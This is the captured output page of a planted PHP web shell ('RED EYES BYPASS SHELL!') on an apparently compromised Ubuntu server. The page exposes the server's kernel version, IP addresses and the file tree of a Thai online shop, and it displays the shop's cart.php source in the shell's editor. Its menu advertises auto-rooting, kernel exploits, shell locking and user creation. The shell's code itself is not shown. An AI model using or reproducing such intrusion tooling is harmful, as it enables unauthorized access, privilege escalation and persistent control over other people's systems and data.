Linux sothorn202 5.15.0-161-generic #171-Ubuntu SMP Sat Oct 11 08:17:01 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 202.28.82.202 | : 216.73.216.9
pkexec version 0.105
Cant Read [ /etc/named.conf ]
iqtd
RED EYES BYPASS SHELL!
Terminal
Auto Root
Adminer
Backdoor Destroyer
Kernel Exploit
Lock Shell
Lock File
Create User
+ Create Folder
+ Create File
/
home /
lifelonglearn /
commert /
[ HOME SHELL ]
NAME
SIZE
PERMISSION
ACTION
accout
[ DIR ]
drwxr-xr-x
app
[ DIR ]
drwxr-xr-x
bootstrap
[ DIR ]
drwxr-xr-x
config
[ DIR ]
drwxr-xr-x
database-all
[ DIR ]
drwxr-xr-x
icon
[ DIR ]
drwxr-xr-x
Category.php
2.58
KB
-rwxr-xr-x
Confirm.php
14.04
KB
-rwxr-xr-x
Contact.php
1.02
KB
-rwxr-xr-x
Delivery.php
3.25
KB
-rwxr-xr-x
Login.php
5.65
KB
-rwxr-xr-x
LoginAdmin.php
3.48
KB
-rwxr-xr-x
Payment.php
2.41
KB
-rwxr-xr-x
Product.php
2.22
KB
-rwxr-xr-x
Register.php
7.02
KB
-rwxr-xr-x
api_line.php
1.26
KB
-rwxr-xr-x
banner.php
280
B
-rwxr-xr-x
banner2.php
473
B
-rwxr-xr-x
cart.php
4.64
KB
-rwxr-xr-x
customer.php
282
B
-rwxr-xr-x
detail_product.php
1.43
KB
-rwxr-xr-x
footer.php
1.68
KB
-rwxr-xr-x
function_get_login.php
1.26
KB
-rwxr-xr-x
index.php
552
B
-rwxr-xr-x
item_product.php
1.39
KB
-rwxr-xr-x
logout.php
74
B
-rwxr-xr-x
main.php
3.42
KB
-rwxr-xr-x
meta_tag.php
806
B
-rwxr-xr-x
navbar.php
7.57
KB
-rwxr-xr-x
new_product.php
1.54
KB
-rwxr-xr-x
pagination.php
1.49
KB
-rwxr-xr-x
script_js.php
422
B
-rwxr-xr-x
search.php
1.07
KB
-rwxr-xr-x
select_amphures.php
723
B
-rwxr-xr-x
select_districts.php
580
B
-rwxr-xr-x
select_provinces.php
727
B
-rwxr-xr-x
show_banner.php
871
B
-rwxr-xr-x
slide.php
2.18
KB
-rwxr-xr-x
slide_category.php
1.3
KB
-rwxr-xr-x
stockProduct.php
6.34
KB
-rwxr-xr-x
tb_unit.sql
1.48
KB
-rwxr-xr-x
test.php
821
B
-rwxr-xr-x
view.php
1.87
KB
-rwxr-xr-x
viewCategory.php
2.47
KB
-rwxr-xr-x
viewProduct.php
8.03
KB
-rwxr-xr-x
viewSubBusiness.php
2.65
KB
-rwxr-xr-x
viewSubCategory.php
2.63
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : cart.php
<?php session_start(); include('config/connect.php'); ?> <?php $product_id = (isset($_REQUEST['product_id'])) ? $_REQUEST['product_id'] : ''; $act = $_REQUEST['act']; if($act=='add' && !empty($product_id)) { if(isset($_SESSION['cart'][$product_id])) { $_SESSION['cart'][$product_id]++; } else { $_SESSION['cart'][$product_id]=1; } } if($act=='remove' && !empty($product_id)) //ยกเลิกการสั่งซื้อ { unset($_SESSION['cart'][$product_id]); } if($act=='update') { $amount_array = $_POST['amount']; foreach($amount_array as $product_id=>$amount) { $_SESSION['cart'][$product_id]=$amount; } } ?> <!doctype html> <html lang="en"> <head> <?php include('meta_tag.php');?> <title><?php echo $title;?></title> </head> <body> <?php include('navbar.php');?> <?php include('banner.php');?> <div class="container" id="Category"> <br><h5 class="text-center">สินค้าที่เพิ่มลงในตะกร้าสินค้า</h5><br> <div class="row"> <div class="col-md-12 mt-5"> <div class="card"> <form id="form_cart" name="form_cart" method="post" action="?act=update"> <table width="100%" class="table"> <thead> <tr class="btn-theme"> <th width="72%">รายการสินค้า</th> <th align="center" width="7%">ราคา</th> <th align="center" width="7%">จำนวน</th> <th align="center" width="7%">รวม (บาท)</th> <th align="center" width="7%">ลบ</th> </tr> </thead> <?php $total=0; if(!empty($_SESSION['cart'])) { foreach($_SESSION['cart'] as $product_id=>$qty) { $product_status = "1"; $stmt = $conn->prepare("SELECT p.*, c.category_name FROM tb_product AS p INNER JOIN tb_category AS c ON p.category_id = c.category_id WHERE p.product_status=:product_status AND p.product_id=:product_id"); $stmt->bindParam(':product_status', $product_status , PDO::PARAM_STR); $stmt->bindParam(':product_id', $product_id , PDO::PARAM_STR); $stmt->execute(); $row = $stmt->fetch(PDO::FETCH_ASSOC); $sum = $row['product_price'] * $qty; $total += $sum; echo "<tr>"; echo "<td width='72%'>" . $row["product_name"] . "</td>"; echo "<td width='8%' align='center'>" .number_format($row["product_price"],2) . "</td>"; echo "<td width='8%' align='center'>"; echo "<input type='number' name='amount[$product_id]' value='$qty' class='form-control'></td>"; echo "<td width='8%' align='center'>".number_format($sum,2)."</td>"; //remove product echo "<td width='8%' align='center'><a href='cart.php?product_id=$product_id&act=remove'><span class='label label-success'>ลบ</span></a></td>"; echo "</tr>"; } echo "<tr>"; echo "<td colspan='4' bgcolor='#CEE7FF' align='right'><b>ยอดรวม</b></td>"; echo "<td align='right' bgcolor='#CEE7FF'>"."<b>".number_format($total,2)."</b>"."</td>"; echo "<td align='left' bgcolor='#CEE7FF'></td>"; echo "</tr>"; } ?> <tr> <td><a href="Product" role="button" class="btn btn-dark"><span class="fa fa-angle-double-left"></span> กลับไปเลือกสินค้าต่อ</a></td> <td colspan="4" align="right"> <button type="button" name="Submit2" onClick="window.location='Confirm';" class="btn btn-success"><span class="fa fa-shopping-cart"></span> สั่งซื้อสินค้า</button> </td> </tr> </table> </form> </div> </div> <!--./col--> </div> <!--./row--> </div> <!--./container--> <?php include('footer.php');?> <?php include('script_js.php');?> </body> </html>
Close